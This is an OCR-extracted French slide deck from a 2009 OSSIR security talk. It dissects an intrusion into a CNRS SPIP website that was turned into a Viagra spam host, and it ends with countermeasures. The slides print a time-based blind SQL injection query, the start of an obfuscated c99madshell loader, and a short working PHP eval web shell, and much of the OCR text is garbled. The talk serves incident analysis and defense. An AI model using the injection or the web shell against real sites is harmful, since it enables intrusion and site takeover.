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@ Google J'ai de la chance

= site:cnrs.fr viagra
= SPIP : répertoires .cache, skins, etc.

= Pourtant SPIP a jour
= Précédentes intrusions : absence de correctif

= Comprendre le mode opératoire du pirate
= Date de creation des fichiers
= Analyse des journaux
= Signature : User-Agent Opera ru
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Sceénario d’'une attaque

= Chronologie

= GET meta_cache.txt

= POST spip.php

= POST /IMG/otg/activate.php.odt
" |nterprétation

= Apache et les suffixes multiples
= Upload dans SPIP
= meta_cache.txt : informations de connexion
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Authentification dans SPIP

= Mécanisme

= hash

= md5($action, $arg, $id_auteur, $pass, $alea)
= $id_auteur, $pass vides permis (anonyme ?)
= $alea est le seul élément inconnu

" meta cache.txt

= alea_ephemere & alea_ephemere_ancien
= Protége (7 !) par .htaccess
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Injection SQL a l'aveuglette

= Journaux
= Echec meta_cache.txt

= Nombreuses requétes sur xyz.php3
= Scorie d’'une ancienne version

= SELECT NULL FROM spip_meta WHERE
nom="alea_ephemere' AND
1=if((ascii(substring((valeur),1,1))=32),
benchmark(1900000,sha1(13)),0)

= MilwOrm

07/04/2009 OSSIR



Script malveillant : c99madshell

= Offusqué
= eval(gzinflate(base64_decode('HJ3HkgNQEKU/Zz

= |téré n fois mais aucun polymorphisme —
signature

= Plusieurs exemplaires sur le serveur

= Premiere manifestation (juillet 2008)
= Une erreur du pirate : index.php
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# co9madshell v. 2.0 madnet edition #

Soltware: Apache f2.2.3 [Linux/SUSE)L PHPSS.2.5
unamee -az Linux donkey 2.6.18.8-0.9-default #1 SHMP San Feb 10 22:40:05 UTC 2000 x86_64
il =30 [wwnrin) gid=8[wes} groupe B waw]

Sale-mode:
fhiwine flderek S My Pictres )  drwHn-meH
Free 31.27 GB of 228.25 CB [13.7%)

HOME «<= =x WPHIR Search Bulfer Teols Proc. FTP brute Sec. SOL PHP-code Sell remove Logeil
Listimg folder (0 files and 10 felders)

Haibe Size Modify Ownerf GrouEp Perms Actisn

LIMNE 09.03. 2007 11:14:'%6 lo0a,/100 dresr-wr-x I .

LINEK 04805 . T000 106:-1%5: 14 1000100 drwrr-pr-= I .
[Daadies] R 1003 . 2008 11:-36:18 1000100 dirersr-ur-x . |
[ERustrationg ] oin 0307 DHET 004245 1004,100 dirwrsir-mr-=
[Perdamal] (3] 20,04 . 2008 10:30: 32 100a,/100 dFersr- o= i |
[Phatashop ] R 2004 . 7008 102300 X2 1000/100 PP - -5 i |
[5tock] DR 20.04. 3008 10130132 1000/100 drwnr-wr-u i |
[Updaads] QiR 2004, T00E 1073106 lo00/100 I .
[antromiemy] DR 0207, 2007 234211 1000/100 drwgr-pr-x I .
[digeal_camara] (=3} 20042008 10:30: 34 1000100 dirersr-ur-x |
[Tumirg ] oin 200054 00068 10:-30: 32 10404,100 drwrsr-smr-x i |
[4eana] DiR 1307 5007 11:31: %6 1004,/100 drwsr-fe-= i |

[Erd ] [Tt & Witk sebeced: [ [ i |
=i Command edeculs =
Lmtar: Salect:
|| Evecute | |~ B[ e |
iz Search i 3 Uplead =
] ] B - regezp [Sewcn | im
i: Make Dir s
Fs e ke M P e || Creats | (bt b b B e pa || Ereate
= G D = 2 o File =
L‘hﬂml&mllﬂ.‘pp‘:i\uur II G | hﬂm&ul.ﬁﬂﬂrh’.lld II L]

== c¥Imadshell w. 2.0 madnel edition ECITED BY MADRNET |

| Generation beme: 0.006 J--




Script malveillant : eval

<?php
if(isset($_GET['step])) {
if(isset($_POST['dm))
eval(stripslashes($_POST['dm")); 7>
<form action=# method=POST>
<input type=text name=dm>
<input type=submit>
</form>
<?php } 7>
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Pages incluses

= Reéférence a http:/too000.biz/sword.php
= EstDomains
= Javascript chiffre
= Code de Cesar, fonction de déchiffrement incluse
= Télecharge les pages du squatter

= Reéférence a gribokhost.com
= DNS : Mumbal
= |P : héebergeur a New York
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Vulnérabilités

= Acces a meta_cache.txt
= Documentation
= Procedure d’installation
= Scories
= Mise a jour conserve les anciennes versions
= |njection SQL
= Manque de validation des parametres
= (Génération des requétes SQL
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Contre mesures

= Controle d'acces (meta_cache.txt)
= Elimination des scories (xyz.php3)
= Suppression du handler PHP

= Répertoires en upload

= Fichiers xyz.php.abc
= Survelllance des journaux
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Profil du pirate

= Cupidité
= Bandes organisées

o Petlte main Our price: YTAGRA + CIALIS SPECIAL OFFER
@ £0.86 10 x Viagra 100 mg + 10 x Cialis 20mg
m For only : £52.33
Sq uatter ) £1.46 CIALI“S SPECIAL OFFIIER
[ - 60 pills 20mg +4 Free pills
= Bande passante For only: £148.34
[ | & VIAGRA HOT OFFER
Ressources 0 £2.79 190 pills 100 mg
’ . ill
= Réputation . Free Delrvery
, , £1.76 For only: £172.06
[ | By J .
Perseve ra nt @ CLICK HERE to get special discount pricel

= Discret
= Aurait pu étre plus grave
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Liens

m Securité de lI'information

http://lwww.sg.cnrs.fr/FSD/securite-systemes/revue.htm

= Numeéro traitant du sujet
http://www.sg.cnrs.fr/FSD/securite-systemes/revues-pdf/si4.pdf

= |nscription liste
http:/lwww.services.cnrs.friwws/subscribe/sec-info

= SPIP

http://www.spip.net

= OWASP

http://www.owasp.fr

07/04/2009 OSSIR

13


http://www.sg.cnrs.fr/FSD/securite-systemes/revue.htm
http://www.sg.cnrs.fr/FSD/securite-systemes/revues-pdf/si4.pdf
http://www.services.cnrs.fr/wws/subscribe/sec-info
http://www.spip.net/
http://www.owasp.fr/

|| faut s'imaginer Sisyphe heureux
(Albert Camus)

Questions ?

Franz von Stuck
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